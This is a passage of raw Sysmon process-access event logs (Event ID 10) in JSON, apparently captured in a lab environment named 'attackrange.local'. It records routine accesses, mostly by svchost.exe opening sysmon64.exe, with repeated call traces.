C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FF1-5F2D-0000-0010B3770300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 